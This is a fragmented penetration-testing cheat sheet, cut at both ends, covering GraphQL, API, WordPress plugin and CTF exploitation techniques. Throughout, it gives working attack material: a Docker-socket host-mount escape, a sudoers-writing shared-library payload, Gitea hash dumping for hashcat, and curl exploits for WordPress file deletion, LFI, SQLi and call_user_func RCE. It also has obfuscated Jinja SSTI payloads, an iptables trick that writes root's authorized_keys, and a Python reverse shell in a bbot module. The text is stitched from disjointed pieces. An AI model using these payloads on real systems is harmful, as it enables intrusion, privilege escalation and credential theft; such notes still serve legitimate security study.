to the available one.You can check the dockerfile for an available image.Donât forget the id,it is required to check run the container.curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/create \
-H "Content-Type: application/json" -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "openjdk:11","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/<id>/start
curl -i -s --unix-socket /run/docker.sock -X POST http://localhost/containers/09832b2e10c61ffd863fe4c8a50e07d820cd9150af7e3bfd6be7b7400c9f7c94/attach\?stream\=1\&stdin\=1\&stdout\=1\&stderr\=1
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
for word in open("C:\Users\HP\Documents\wordlist.txt"):
engine.queue(target.req, word.rstrip(), gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
type Product {
id: ID!
name: String!
description: String!
price: Int
}
Graphql queries retrieve data from the data store.They are roughly equivalent to the GET
requests in the REST API.A queryâs component
#Example query
query myGetProductQuery {
getProduct(id: 123) {
name
description
}
}
REST API
âs POST
,PUT
and DELETE
methods.Mutations have a defuned structure for operation type, name and structure for the returned data.Mutations require a form of input of some type.This can be an inline value.#Example mutation request
mutation {
createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
id
name
listed
}
}
#Example mutation response
{
"data": {
"createProduct": {
"id": 123,
"name": "Flamin' Cocktail Glasses",
"listed": "yes"
}
}
}
id
,name.firstname
and name.lastname
. #Request
query myGetEmployeeQuery {
getEmployees {
id
name {
firstname
lastname
}
}
}
#Response
{
"data": {
"getEmployees": [
{
"id": 1,
"name" {
"firstname": "Carlos",
"lastname": "Montoya"
}
},
{
"id": 2,
"name" {
"firstname": "Peter",
"lastname": "Wiener"
}
}
]
}
}
id
and retrieves details based on the fields.
#Example query with arguments
query myGetEmployeeQuery {
getEmployees(id:1) {
name {
firstname
lastname
}
}
}
{
"data": {
"getEmployees": [
{
"name" {
"firstname": Carlos,
"lastname": Montoya
}
}
]
}
}
Variables enable you to pass dynamic arguments, rather than having arguments directly within the query itself.Variable-based queries use the same structure as queries using inline arguments, but certain aspects of the query are taken from a separate JSON-based variables dictionary. They enable you to reuse a common structure among multiple queries, with only the value of the variable itself changing.When building a query or mutation that uses variables, you need to:
#Example query with variable
query getEmployeeWithVariable($id: ID!) {
getEmployees(id:$id) {
name {
firstname
lastname
}
}
}
Variables:
{
"id": 1
}
#Invalid query
query getProductDetails {
getProduct(id: 1) {
id
name
}
getProduct(id: 2) {
id
name
}
}
#Valid query using aliases
query getProductDetails {
product1: getProduct(id: "1") {
id
name
}
product2: getProduct(id: "2") {
id
name
}
}
#Response to query
{
"data": {
"product1": {
"id": 1,
"name": "Juice Extractor"
},
"product2": {
"id": 2,
"name": "Fruit Overlays"
}
}
}
#Example fragment
fragment productInfo on Product {
id
name
listed
}
#Query calling the fragment
query {
getProduct(id: 1) {
...productInfo
stock
}
}
#Response including fragment fields
{
"data": {
"getProduct": {
"id": 1,
"name": "Juice Extractor",
"listed": "no",
"stock": 5
}
}
}
Subscription are a special type of query. They enable clients to establish a long-lived connection with a server so that the server can then push real-time updates to the client without the need to continually poll for data. They are primarily useful for small changes to large objects and for functionality that requires small real-time updates (like chat systems or collaborative editing).
Introspection is a built-in GraphQL function that enables you to query a server for information about the schema. It is commonly used by applications such as GraphQL IDEs and documentation generation tools.Like regular queries, you can specify the fields and structure of the response you want to be returned. For example, you might want the response to only contain the names of available mutations.Introspection can represent a serious information disclosure risk, as it can be used to access potentially sensitive information (such as field descriptions) and help an attacker to learn how they can interact with the API. It is best practice for introspection to be disabled in production environments.
query{__typename}
.The query works because every GraphQL endpoint has a reserved field called __typename
that returns the queried objectâs type as a string./graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
/v1/
to the path.You should also note that GraphQL services will often respond to any non-GraphQL request with a âquery not presentâ or similar error. You should bear this in mind when testing for GraphQL endpoints.Insecure Direct Object Reference
.The request below queries for a product list in a shop.#Example product query
query {
products {
id
name
listed
}
}
3
has been delisted as seen in the response below
#Example product response
{
"data": {
"products": [
{
"id": 1,
"name": "Product 1",
"listed": true
},
{
"id": 2,
"name": "Product 2",
"listed": true
},
{
"id": 4,
"name": "Product 4",
"listed": true
}
]
}
#Query to get missing product
query {
product(id: 3) {
id
name
listed
}
}
__schema
field. This field is available on the root type of all queries.
{
"query": "{__schema{queryType{name}}}"
}
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
query
{
"kind": "OBJECT",
"name": "query",
"description": null,
"fields": [
{
"name": "getBlogPost",
"description": null,
"args": [
{
"name": "id",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"defaultValue": null
}
getUser
and it takes in a numerical id {
"name": "getUser",
"description": null,
"args": [
{
"name": "id",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
}
User
that contains the username
and password
. {
"kind": "OBJECT",
"name": "User",
"description": null,
"fields": [
{
"name": "id",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "username",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "password",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
}
Administrator
__schema
filter with __schema%0A
-:{__schema%0A{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name+description+locations+args{...InputValue}}}}fragment+FullType+on+__Type{kind+name+description+fields(includeDeprecated:true){name+description+args{...InputValue}type{...TypeRef}isDeprecated+deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name+description+isDeprecated+deprecationReason}possibleTypes{...TypeRef}}fragment+InputValue+on+__InputValue{name+description+type{...TypeRef}defaultValue}fragment+TypeRef+on+__Type{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name+ofType{kind+name}}}}}}}}
mutation {
deleteOrganizationUser(input: {
id: 3
}) {
user {
id
username
}}
}
{
"kind": "OBJECT",
"name": "mutation",
"description": null,
"fields": [
{
"name": "deleteOrganizationUser",
"description": null,
"args": [
{
"name": "input",
"description": null,
"type": {
"kind": "INPUT_OBJECT",
"name": "DeleteOrganizationUserInput",
"ofType": null
},
"defaultValue": null
}
],
"type": {
"kind": "OBJECT",
"name": "DeleteOrganizationUserResponse",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
__schema
with %0A#! /usr/bin/env python3
#Generating graphql mutation's aliases script for Portswigger
passwords: list = open("passwords.txt","r").read().splitlines()
queries = open("queries.txt","w")
for num in range(0,100):
query: str = " loginme: login(input: {\n username: \"carlos\",\n password: \"filter\"}) {\n token,\n success\n }\n".replace("filter",passwords[num])
query = query.replace("loginme","login"+str(num))
queries.write(query)
print(query)
queries.close()
queries.txt
Gplspection
to grab the schema for a query or mutation`Installation-:pip install gqlspection
Installation-:pip install clairvoyance
Syntax-:clairvoyance <Graphql-endpoint> -o schema.json
JSWzl
for generating graphql wordlists/api
/swagger/index.html
/openapi.json
/api/swagger/v1
/api/swagger
/api
/api/
./api/user
endpoint and the DELETE
headerOpenApi Parser
and also specialized tools like Postman
and SoapUi
.PATCH
http header to make partial change to a resource as seen below.Errors can also provide more insight to exploit a vulnerability./api/user/update
,you can also add a payload to the /update
position e.g update
and add
to test for other functionalities.When looking for hidden endpoints, use wordlists based on common API naming conventions and industry terms. Make sure you also include terms that are relevant to the application, based on your initial recon.You can also check for hidden parameters with burp extensions like Param-Miner
,Content-Discovery
and with Burp intruder
.GET /userSearch?name=peter%23foo&back=/home
#
is url-encoded so that the front-end wonât interpret it as a fragment.GET /userSearch?name=peter%26email=foo&back=/home
cat
(*)
can pose a security risk e.gstrace
shows that it is triggered as an option.order_by()
function in sqlalchemy is vulnerable to sql injection as seen in the ctf-writeup.filter - uses _literal_as_text (NOT SAFE)
having - uses _literal_as_text (NOT SAFE)
distinct - uses _literal_as_label_reference (NOT SAFE)
group_by - uses _literal_as_label_reference (NOT SAFE)
order_by - uses _literal_as_label_reference (NOT SAFE)
join - uses model attributes to resolve relation (SAFE)
gitea.db
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
--show
hashcat --show gitea.hashes --user
magick --version
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("echo 'developer ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers");
exit(0);
}
EOF
current_user_can
-:edit_posts
and edit_others_posts
.current_user_can( 'edit_posts' );
current_user_can( 'edit_post', $post->ID );
current_user_can( 'manage_options' );
Roles-:
Super Admin
Administrator
Editor
Author
Contributor
Subscriber
add_cap()
and remove_cap()
.New roles can be introduced and removed with add_role()
and remove_role()
functions.Subscriber
role has just the read
capability. One particular role should not be considered to be senior to another role. Rather, consider that roles define the userâs responsibilities within the site.Super Admin
and the Administrator
is that the former has access to the site network administration features and all other features while the latter has access to all the administration features within a single site.The subscriber can only read posts.wp_verify_nonce
-:It is one of the functions used to verify a nonce if it is correct within the 24 hours time limit.A nonce is valid for 24 hours (by default).The function is used to verify the nonce sent in the current request usually accessed by the $_REQUEST PHP variable.Nonces should never be relied on for authentication authorization, or access control. Protect your functions using the current_user_can function, always assume the nonce value can be compromised.$nonce = $_REQUEST['_wpnonce'];
if ( ! wp_verify_nonce( $nonce, 'my-nonce' ) || ! current_user_can("manage_options")) {
die( __( 'Security check', 'textdomain' ) );
} else {
// Do stuff here.
}
check_admin_referrer
-:One of the functions available to check for nonce value. This function ensures intent by verifying that a user was referred from another admin page with the correct security nonce.Nonces should never be relied on for authentication authorization, or access control. Protect your functions using the current_user_can
function, always assume the nonce value can be compromised.
Implementation-:
Nonces should never be relied on for authentication authorization, or access control. Protect your functions using the current_user_can function, always assume the nonce value can be compromised.
check_ajax_referrer
-:One of the functions to check for nonce value. This function verifies the Ajax request to prevent processing requests external to the blog by checking the nonce value.Nonces should never be relied on for authentication authorization, or access control. Protect your functions using the current_user_can function, always assume the nonce value can be compromised./**
* Check the referrer for the AJAX call.
*/
function wpdocs_action_function() {
if(!current_user_can("manage_options")){
die;
}
check_ajax_referer( 'wpdocs-special-string', 'security' );
echo sanitize_text_field( $_POST['wpdocs_string'] );
die;
}
add_action( 'wp_ajax_wpdocs_action', 'wpdocs_action_function' );
register_rest_route
-: One of the functionalities or functions that are sometimes missed from a hackerâs point of view. This functionâs purpose is to register a custom REST API route in the context of a plugin or theme.This function accepts $args as the third argument. The $args itself is either an array of options for the endpoint or an array of arrays for multiple methods.init
-: The init hook runs after the WordPress environment is loaded but before the current request is processed. This hook also allows developers to register custom post types, and taxonomies, or perform other tasks that need to be executed early in the WordPress loading process.This hook itself is accessible by unauthenticated users by default (also depends if the hook is registered outside from an additional permission check). Visiting the front page of a WordPress site should trigger the init hook.An unauthenticated user can simply visit the front page of a WordPress instance and it will trigger any function that is attached to the init hook.
Implementation-:
add_action( 'init', 'process_post' );
function process_post() {
if( isset( $_POST['unique_hidden_field'] ) ) {
// process $_POST data here, possibly need to add permission and nonce check first
}
}
curl [url]/?unique_hidden_field=1
admin_init
hook is used to perform task when the admin panel is loaded.These tasks can include adding custom menus, registering custom post types or taxonomies, initializing settings, and performing security checks or authentication for admin-specific actions.The hook is similar to the init
hook but it only fires as an admin screen or script is being initialized. This hook does not just run on user-facing admin screens, it also runs on the admin-ajax.php and admin-post.php endpoint as well.function myplugin_settings() {
register_setting( 'myplugin', 'myplugin_setting_1', 'intval' );
register_setting( 'myplugin', 'myplugin_setting_2', 'intval' );
}
add_action( 'admin_init', 'myplugin_settings' );
curl [url]/wp-admin/admin-ajax.php?action=myplugin-settings
wp_ajax_${$action}
allows developers to handle custom AJAX endpoints. The wp_ajax_ hooks follow the format wp_ajax_$action, where $action variable comes from the action GET/POST parameter submitted to the admin-ajax.php endpoint.The hook only fires up for users with Subscriber+
role.A proper permission and nonce check is still needed to secure the function attached to this hook.add_action( 'wp_ajax_foobar', 'my_ajax_foobar_handler' );
function my_ajax_foobar_handler() {
// Make your response and echo it.
// Don't forget to stop execution afterward.
wp_die();
}
wp_ajax_nopriv_${action}
is the same as the wp_ajax_${action}
except the nopriv
part allows unauthenticated users to make AJAX
requests i.e. when the is_user_logged_in()
function returns false.Arbitrary file deletion-:It occurs when an attacker is able to delete files.Devs should always use the sanitize_file_name
function to sanitize file name.Useful functions-:
PHP_Related-:
unlink()
rmdir()
wp_delete_file
wp_delete_from_directory
WP_Filesystem_Direct::delete
Wp_Filesystem_Direct::rmdir
add_action("init", "rest_init_setup");
function rest_init_setup(){
register_rest_route( "myplugin/v1", '/deletemedia/', array(
'methods' => "POST",
'callback' => 'delete_media_upload',
'permission_callback' => '__return_true',
) );
}
function delete_media_upload($request){
$args = json_decode($request->get_body(),true);
$data = array('status'=>false);
if(!empty($args['media']) ){
wp_delete_file( $args['media']['file'] ); //Vulnerable function
$data = array('status'=>true);
}
return new WP_REST_Response( $data, 200 );
}
curl -u <url>/myplugin/v1/deletemedia -H "Content-Type: application/json" -d '{"media":{"file":"/etc/passwd"}'
This include improper file fetching handling in a plugin that can be used to read local files on the server.
Useful php functions-:
file_get_contents();
readfile()
fopen()
fread()
fgets()
fgetcsv()
fgetsss() deprecated from PHP 7.3
file
cURL
Wp_Filesystem_Direct::get_contents();
Wp_Filesystem_Direct::get_contents_array();
add_action("wp_ajax_get_file", "ajax_get_file");
public function ajax_get_file(){
global $wp_filesystem;
// Make sure that the above variable is properly setup.
require_once ABSPATH . 'wp-admin/includes/file.php';
WP_Filesystem();
$url = $_GET["url"];
$data = $wp_filesystem->get_contents($url);
$data = json_encode( $data );
echo $data;
die();
}
curl '<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=get_file&url=/etc/passwd' -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'
private function af2DeleteFontFile($filename) {
$upload_dir = wp_upload_dir();
$af2_fonts_dir = $upload_dir['basedir'] . '/af2_fonts';
$file_path = $af2_fonts_dir . '/' . $filename;
if (file_exists($file_path) && is_file($file_path)) {
unlink($file_path);
return true;
} else {
return false;
}
}
public function af2_delete_font() {
if ( !current_user_can( 'edit_others_posts' ) ) {
die( 'Permission denied' );
}
if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'af2_FE_nonce' ) ) {
die( 'Permission denied' );
}
$deleted = $this->af2DeleteFontFile($_POST['deletefile']);
if ($deleted) {
echo 'Datei erfolgreich gelĂśscht.';
} else {
echo 'Fehler beim LĂśschen der Datei oder Datei nicht gefunden.';
}
wp_die();
}
add_action( 'wp_ajax_af2_fnsf_delete_af2_font', array($this->Fnsf_Af2AjaxFormularbuilderFonts, 'af2_delete_font') );
curl '<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=af2_delete_font -d "deletefile=../../../../etc/passwd&nonce=[nonce]" -H "Cookie:<cookie>"
The most common way to trace a code file handling code is through the $_FILES
php variable.Another way that is most of the time missed by hackers is via WP_REST_Request::get_file_params
function. This function retrieves multipart file parameters from the body of a custom REST API route registered by the plugin/theme.
move_uploaded_file()
file_put_contents();
fwrite();
fputs();
copy();
fputcsv();
rename();
WP_Filesystem_Direct::put_contents();
WP_Filesystem_Direct::move();
WP_Filesystem_Direct::copy();
Ziparchive::extractTo();
Phardata::extractTo();
unzip_file();
add_action("wp_ajax_unpack_fonts", "unpack_fonts");
function unpack_fonts(){
$file = $_FILES["file"];
$ext = end(explode('.',$file["name"]));
if($ext !== "zip"){
die();
}
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
move_uploaded_file($file["tmp_name"], $file_path);
$zip = new ZipArchive;
$f = $zip->open($file_path);
if($f){
$zip->extractTo(WP_CONTENT_DIR . "/uploads/"); //vulnerable code
$zip->close();
}
}
curl [URL]/wp-admin/admin-ajax.php?action=unpack_fonts -H "Cookie: <authenticated_cookie>" -F "file=@/home/user.zip"
mime_content_type();
exif_imagetype();
finfo_file();
add_action("wp_ajax_nopriv_upload_image_check_mime", "upload_image_check_mime");
function upload_image_check_mime(){
$file = $_FILES["file"];
$file_type = mime_content_type($file["tmp_name"]);
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
$allowed_mime_type = array("image/png", "image/jpeg");
if(in_array($file_type, $allowed_mime_type)){
move_uploaded_file($file["tmp_name"], $file_path);
echo "file uploaded";
}
else{
echo "file mime type not accepted";
}
}
.php
file.Link to magic bytescurl [url]/wp-admin/admin-ajax.php?action=upload_image_check_mime -F "file=@pwn.php"
width and height
.One of the common functions to be used for image-related checks is getimagesize
function.add_action("wp_ajax_nopriv_upload_image_getimagesize", "upload_image_getimagesize");
function upload_image_getimagesize(){
$file = $_FILES["file"];
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
$size = getimagesize($file["tmp_name"]);
$fileContent = file_get_contents($_FILES['file']["tmp_name"]);
if($size){
file_put_contents($file_path, $fileContent);
echo "image uploaded";
}
else{
echo "invalid image size";
}
}
Exiftool
and rename the file extension with .php
.curl -F 'file=@pwn.php' 'http://localhost/wp-admin/admin-ajax.php?action=upload_image_getimagesize'
AddHandler
or SetHandler
can be used to force non-PHP files (like text files or images) to be interpreted as PHP, enabling the attacker to run server-side scripts that they previously uploaded.function upload_image(){
$file = $_FILES["file"];
$file_path = WP_CONTENT_DIR . "/uploads/" . $file["name"];
// File extension blacklist (dangerous files to disallow)
$blacklist = array("php", "exe", "sh", "js", "bat", "pl", "py");
// Get the file extension
$file_ext = pathinfo($file["name"], PATHINFO_EXTENSION);
// Check if the file extension is blacklisted
if(in_array($file_ext, $blacklist)){
echo "File type not allowed!";
die();
}
// Process upload
}
.htaccess
that parse jpg files as php and trigger an RCE.<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
current_user_can
and nonce check with functions-:wp_verify_nonce
check_admin_referrer
check_ajax_referrer
init
hook allows unauthenticated users to make requests and it is triggered when Wordpress is initialized.init
,it can accessed after Wordpress initializtion.add_action("init", "check_if_update");
function check_if_update(){
if(isset($_GET["update"])){
update_option("user_data", sanitize_text_field($_GET_["data"]));
}
}
curl [url]/?update=1&data=admin
admin_init
load functions hooked to it when an admin related function is loaded probably /wp-admin/admin-ajax.php
.add_action("admin_init", "delete_admin_menu");
function delete_admin_menu(){
if(isset($_POST["delete"])){
delete_option("custom_admin_menu");
}
}
curl [URL]/wp-admin/admin-ajax.php?action=hearbeat -d "delete=1"
wp_jax_${action}
add_action("wp_ajax_update_post_data", "update_post_data_2");
function update_post_data_2(){
if(isset($_POST["update"])){
$post_id = get_post($_POST["id"]);
update_post_meta($post_id, "data", sanitize_text_field($_POST["data"]));
}
}
update_post_data
action with admin-ajax.php
to access function updata_post_meta
function to update arbitrary WP Post metadata.curl [url]/wp-admin/admin-ajax.php?action=update_post_data&update=1 -d "id=1&data=nice"
wp_ajax_nopriv_${action}
add_action("wp_ajax_nopriv_toggle_menu_bar", "toggle_menu_bar");
function toggle_menu_bar(){
if ($_POST["toggle"] === "1"){
update_option("custom_toggle", 1);
}
else{
update_option("custom_toggle", 0);
}
}
curl [url]/wp-admin/admin-ajax.php?action=toggle_menu_bar -d "toggle=1"
register_rest_route
add_action( 'rest_api_init', function () {
register_rest_route( 'myplugin/v1', '/delete/author', array(
'methods' => 'POST',
'callback' => 'delete_author_user',
'permission_callback' => '__return_true',
) );
} );
function delete_author_user($request){
$params = $request->get_params();
wp_delete_user(intval($params["user_id"]));
}
myplugin/v1/delete/author
which calls a function for deleting a user.curl [url]/myplugin/v1/delete/author -d "user_id=0"
include()
include_once()
require()
require_once()
add_action("wp_ajax_nopriv_render_lesson", "render_lesson_template");
function render_lesson_template(){
$template_path = urldecode( $_GET['template_path'] ?? '' );
// For custom template return all list of lessons
include $template_path;
die();
}
/wp-admin/admin-ajax.php
with an action render_lesson
since the hook is wp_ajax_nopriv
, the attack does not require authentication.The hook call function render_lesson_template
with query template_path
to passed to function include()
.curl [url]/wp-admin/admin-ajax.php?action=render_lesson&template_path=/etc/passwd
file_get_contents
readfile
fopen
stream_get_contents
cURL
wp_remote_head
wp_remote_get
wp_remote_post
wp_remote_request
add_action("wp_ajax_nopriv_fetch_image_url", "fetch_image_url");
function fetch_image_url(){
$response = wp_remote_get($_GET["image_url"]);
$image_data = wp_remote_retrieve_body($response);
echo $image_data;
die();
}
curl [url]/wp-admin/admin-ajax.php?action=fetch_image_url&image_url=http://localhost:8080
system()
exec()
shell_exec()
passthru()
proc_open()
eval()
call_user_func()
call_user_func_array()
create_function() //DEPRECATED as of PHP 7.2.0, and REMOVED as of PHP 8.0.0
$action_type = $_GET["action"];
$input = $_GET["input"];
$result = $action_type($input);
echo $result;
function image_render_callback($atts) {
$atts = shortcode_atts( array(
'sanitize' => 'esc_attr',
'src'=>'',
'text'=>''
), $atts);
$chosen_callback = "esc_attr";
$sanitize_callback = array("trim", "esc_attr", "esc_html", "sanitize_text_field");
if(!in_array($atts["sanitize"], $sanitize_callback)){
$chosen_callback = $atts["sanitize"];
}
if ( ! empty( $chosen_callback ) && is_callable( $chosen_callback ) ) {
$text = call_user_func( $chosen_callback, $atts["text"] );
}
return sprintf("<img src='%s'>%s</img>", esc_attr($atts["src"]), esc_html($text));
}
add_shortcode("imagerender", "image_render_callback");
call_user_func
is vulnerble to RCE.To exploit this, the Contributor+ role user simply needs to create a drafted post with the below content to trigger RCE via call_user_func function:[imagerender src="https://patchstack.com" sanitize="system" text="cat /etc/passwd"]
$wpdb->query
$wpdb->get_var
$wpdb->get_cols
$wpdb->get_results
add_action("wp_ajax_nopriv_load_questions", "load_questions");
function load_questions(){
global $wpdb;
$quiz_id = $_GET["quiz_id"];
if ( isset($_COOKIE[ 'question_ids_'.$quiz_id ]) ) {
$question_sql = sanitize_text_field( wp_unslash( $_COOKIE[ 'question_ids_'.$quiz_id ] ) );
}else {
$question_ids = array("1","2","3");
$question_sql = implode( ',', $question_ids );
}
$order_by_sql = 'ORDER BY FIELD(question_id,'.$question_sql.')';
$query = $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}custom_questions WHERE question_id IN (%1s)", $question_sql);
$questions = $wpdb->get_results( stripslashes( $query ) );
wp_send_json($questions);
}
$question_sql
and the point of exploitation is the cookieâs query 'questions_ids_'.$quiz_id
.The vulnerable function is also $wpdb->get_results()
curl [url]/wp-admin/admin-ajax.php?action=load_questions&quiz_id=1 -H "Cookie: question_ids_1=[point_of_injection]"
wp_magic_quotes()
.addslashes()
.So even a super simple vulnerable-looking code like select * from users where '$injection_here';
will be escaped and turn into something like SELECT * FROM users where '\'testpayload';
inside a WordPress hook and you will not be able to exploit it in almost all scenarios.wp_unslash()
function is used to remove all slashes.Vulnerable code-:add_action('init', function() {
$input = wp_unslash($_POST['input']);
global $wpdb;
$query = "SELECT * FROM users WHERE name = '$input'";
$result = $wpdb->get_results($query);
// Display the result
if ($result) {
foreach ($result as $row) {
echo "User: " . esc_html($row->name);
}
}
});
curl [url]/ -d "input=' or 1=1--+ "
__init__
with a class,you should be able to call __builtins__
directly or call __builtins__
with __globals__
.The function __builtins__
will be used to access __import__
to trigger RCE
.()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()|attr('\x5f\x5f\x67etitem\x5f\x5f')(356)('ls',shell=True,stdout=-1)|attr('communicate')()
()|attr(%27\x5f\x5f\x63lass\x5f\x5f%27)|attr(%27\x5f\x5f\x62ase\x5f\x5f%27)|attr(%27\x5f\x5fsub\x63lasses\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(333)|attr(%27\x5f\x5finit\x5f\x5f%27)|attr(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27subprocess%27)|attr(%27Popen%27)(%27ls%27,stdout=-1)|attr(%22communicate%22)()
()|attr(%27\x5f\x5f\x63lass\x5f\x5f%27)|attr(%27\x5f\x5f\x62ase\x5f\x5f%27)|attr(%27\x5f\x5fsub\x63lasses\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(333)|attr(%27\x5f\x5finit\x5f\x5f%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27subprocess%27)|attr(%27Popen%27)(%27ls%27,stdout=-1)|attr(%22communicate%22)()
Proof of Concept-:
Fuzz the higlighted part with numbers
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n[publickey]\n';sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
/etc/passwd
,/root/.ssh/authorized_keys
,/etc/sudoers
or even create a malicious crontab.#! /usr/bin/env python3
import sqlite3
from tenlib.transform import *
import sqlite3
import sys
set_message_formatter("Oldschool")
#Preparing Gitea db hashes[pbkdf2]
#opening db
def db_name(db_name: str) -> list:
try:
con =sqlite3.connect(db_name)
cur = con.cursor()
res = cur.execute("SELECT passwd,salt,name from user")
return res.fetchall()
except Exception as e:
exit("[+] Database doesn't exist")
def process_data(data: list):
for passwd,salt,name in data:
passwd = base64.encode(bytes.fromhex(passwd))
salt = base64.encode(bytes.fromhex(salt))
hash = f"{name}:sha256:50000:{salt}:{passwd}"
print(hash)
def main():
if len(sys.argv) != 2:
exit("[+]File not provided")
result = db_name(sys.argv[1])
process_data(result)
if __name__ == "__main__":
main()
--inspect
option, it listens for a debugging client.By default, it runs on port 9229
. A full URL will look something like ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e
.node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> require("child_process").spawnSync("notepad.exe")
require('child_process').execSync('ls',{stdio: 'inherit'})
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
bbot_preset.yml
and edit the module_dir key to a directory with write access-:import os
from bbot.modules.base import BaseModule
payload = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",8001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'"
class dirty(BaseModule):
print("I ran your dirty exploit,sensei!!!!")
os.system(payload)
dirty
based on the class name and the pythonâs file name-:<!DOCTYPE foo [<!ENTITY example SYSTEM "/app/flag.txt"> ]><data><weight>&example;</weight><height>100</height></data>
iconv
,Syntax-:iconv -f utf-8 -t utf-7 < me.xml
<?xml version="1.0" encoding="UTF-7"?>
<?xml version="1.0" encoding="UTF-7"?>+ADwAIQ-DOCTYPE foo +AFsAPAAh-ENTITY example SYSTEM +ACI-/app/flag.txt+ACIAPg +AF0APgA8-data+AD4APA-weight+AD4AJg-example+ADsAPA-/weight+AD4APA-height+AD4-100+ADw-/height+AD4APA-/data+AD4-
/etc/passwd
-:$safe_filename = escapeshellcmd($filename);
$output = shell_exec("find /var/ -iname " . $safe_filename . " 2>&1");
sth -or -exec cat /etc/passwd ; -quit
# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("ls -lah")
#\u000aos.system("cat /flag.txt")
#! /usr/bin/env python3
from pwn import *
